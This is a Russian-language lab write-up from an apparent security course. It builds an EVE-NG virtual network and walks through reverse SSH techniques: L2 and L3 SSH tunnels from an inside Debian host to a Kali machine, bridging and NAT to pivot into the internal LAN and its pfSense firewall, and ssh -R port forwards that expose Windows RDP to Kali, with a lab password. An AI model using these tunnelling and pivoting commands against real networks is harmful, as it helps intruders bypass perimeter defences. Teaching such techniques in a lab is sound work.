Практика №4. Revers Shells & Reverse SSH connections
===
# Задание к практической работе №4
- Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
- Настроить каждое устройство в соответсвии со следующими параметрами:
- Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
- устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2)
## Инфраструктура организации:
- Kali-2021 - Linux Kali 2021 (2CPU, 2GB RAM)
- FW-pfsense - PfSense Firewall 2.5.2, default config (Qemu version 4.1.0, 2CPU, 2GB RAM)
- Switch - Cisco IOL-L2 (2 port-groups)
- Debian-RPi4 - Linux Debian 10 (1CPU, 1GB RAM)
- Win-10 - Windows 10 (full) (2CPU, 2GB RAM)
- Win-7 - Windows 7 (full) (QEMU 2.12, 4CPU, 4GB RAM)
- Network:
- Pfsense Default config (WAN-DHCP, LAN - static IP)
- Internet - Cloud-1
- VLAN-10 - 172.16.10.0/24, GW 172.16.10.254
- VLAN-10 - 172.16.20.0/24, GW 172.16.20.254
### **`Выполнение задания`**
- Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)

- Настроить каждое устройство в соответсвии со следующими параметрами:
- Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
**Debian-RPi4**
Запросим IP-адрес от DHCP-сервера командой `dhclient ens3`; далее пропишем `ip a`, чтобы убедиться, что ip-aдрес был получен:

Добавляем ens3 и ens4 в бридж (Мосты являются виртуальными сетевыми устройствами, которые позволяют объединять несколько сетевых интерфейсов в один логический сегмент сети):

Перезапустим сеть командой `service networking restart`, после чего снова введем `ip a`:

**Kali**
Введм команду `ip a` в Kali, чтобы убедиться, что ip-адрес был получен:

**Win-10**
Проверим полученный IP-адрес командой `ipconfig`:

**Win-7**
Проведем аналогичную операцию с Win-7:

- устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2)
**SSH tunneling L2**
Переходим в ***Kali***
По умолчанию сервер SSH запрещает вход в Kali систему на основе пароля для пользователя.
Отредактируем конфиг Kali командой: `sudo nano /etc/ssh/sshd_config`, разрешив root-вход (PermitRootLogin yes), включив переадресацию портов для SSH (AllowTcpForwarding yes), включив PermitTunnel (PermitTunnel yes):

Изменим пароль рута командой `sudo passwd`
Перезапустим SSH командой `sudo service ssh restart`
Переходим в ***Debian***
Пропишем команду `sudo ssh root@192.168.198.133 -o Tunnel=ethernet -w any:any`, где IP - IP-адрес Kali машины.
Эта команда используется для установления SSH-соединения с удаленным сервером, в данном случае с IP-адресом 192.168.198.133, под учетной записью root и с опцией -o Tunnel=ethernet, которая позволяет создать Ethernet-туннель между двумя хостами.
Опция -w any:any указывает, что для туннелирования будут использоваться любые доступные локальные и удаленные IP-адреса.
После ввода подключимся к этой самой машине:

Снова переходим в ***Kali***
Еще раз введем `ip a` и заметим, что у нас создался интерфейс tap0:

Переходим в ***Debian***
Нажав `Alt+F2` перейдем в другое окно и также введем `ip a` и снова убедимся, что создался интерфейс tap0:

Посмотрим все доступные сетевые мосты командой `brctl show`. А с помощью команды `brctl addif br0 tap0` добавим виртуальный сетевой интерфейс tap0 в мост br0.

Снова введем `brctl show` и заметим, что tap0 оказался в бридже:

Теперь поднимем tap0 интерфейс:

tap0 в бридже (`ip a`):

Переходим в ***Kali***
Также поднимем tap0 и отобразим информацию о сетевых интерфейсах:

Захватим пакеты, передающиеся через вирутальный интерфейс tap0 командой `tcpdump -i tap0`:

Получим IP-адрес на tap0 командой `dhclient tap0`и отобразим информацию о сетевых интерфейсах, видим что tap0 получил свой IP-адрес:

Теперь можно делать всякие грязные дела в инфраструктуре, например, зайти в Фаервол, для этого запустим браузер и перейдем по адресу 192.168.1.1:

**SSH port forwarding**
Переходим в ***Kali***
`ip a`, чтобы узнать полученный IP:

Переходим в ***Win-10***
Открываем терминал
Подключаемся к Kali по ssh (`ssh user@192.168.198.133`):

Открываем второй терминал
Снова подключаемся к Kali (`ssh -R 3395:localhost:3389 user@192.168.198.133` - Данная команда создает удаленный туннель SSH между локальным компьютером и удаленным сервером Kali (192.168.198.133), который перенаправляет трафик из локального порта 3395 на удаленный порт 3389:

Переходим в ***Kali***
Проверим прослушиваемые порты, появился порт 3395:

Введем команду: `xfreerpd /u:admin /p:eve@123 /v:127.0.0.1:3395`, чтобы подключиться к удаленному рабочему столу Win-10:

Подключились:

После завершения сессии прослушиваемый порт также закрывается:

**Попробуем сделать то же самое, но уже с помощью Debian получим доступ к Win-7 через Kali**
Переходим в ***Win-7***
'ipconfig', чтобы узнать полученный IP:

Переходим в ***Debian***
Вводим команду `ssh -R 3395:192.168.1.108:3389 user@192.168.198.133`, в этом случае через Debian даем доступ Kali (192.168.198.133) от Win-7 (192.168.1.108):

Переходим в ***Kali***
Проверим прослушиваемые порты, также появился порт 3395:

Введем команду: `xfreerpd /u:admin /p:eve@123 /v:127.0.0.1:3395`, чтобы подключиться к удаленному рабочему столу Win-7:

Подключились:

**SSH tunneling L3**
Переходим в ***Debian***
Ввводим `ssh -w 0:0 root@192.168.198.133` создает tun-интерфейс между Debian и Kali:

Открываем новое окно терминала, зажав `Alt+F2` и пропишем `ip a` для просмотра информации о сетевых интерфейсах, видим появился tun0 интерфейс:

Переходим в ***Kali***
Также прописываем `ip a`, также появился tun0:

Далее прописываем следующую команду для привязки адреса к tun0:

После чего прописываем следующую команду для поднятия интерфейса:

Еще раз пропишем `ip a`, интерфейс tun0 поднялся, появился адрес:

Переходим в ***Debian***
Делаем то же самое:
Привязываем адрес:

Поднимаем интерфейс:

Убеждаемся, что все ок:

Переходим в ***Kali***:
Пингуем адрес 10.8.0.2 интерфейса tun0 Debian:

Переходим в ***Debian***
Включаем роутинг, чтобы пакеты доходили до физического интерфейса:

Включаем `net.ipv4.ip_forward=1`

Переходим в ***Kali***
Добавляем маршрутизацию командой `sudo ip route add 192.168.1.0/24 via 10.8.0.2` - эта команда говорит система, что все пакеты, адресованные подсети 192.168.1.0/24 (к которой принадлежит Debian) должны быть отправлены через IP-адрес 10.8.0.2:

Теперь удается пропинговать дебиан машину:

Переходим в ***Debian***
Ввведем команду `iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE` - она изменяет исходный адрес пакетов на адрес хоста, через который они отправляются

Переходим в ***Kali***
Пингуем pfsense:

Теперь можно без каких-либо проблем зайти в Фаервол, для этого запустим браузер и перейдем по адресу 192.168.1.1:

**Vlan setting**
Инициализация вланов:

Настройка интерфейсов:


Отображение статусов интерфейсов:

Отображения вланов:

Настройка pfsense:



Получение IP-адресов:

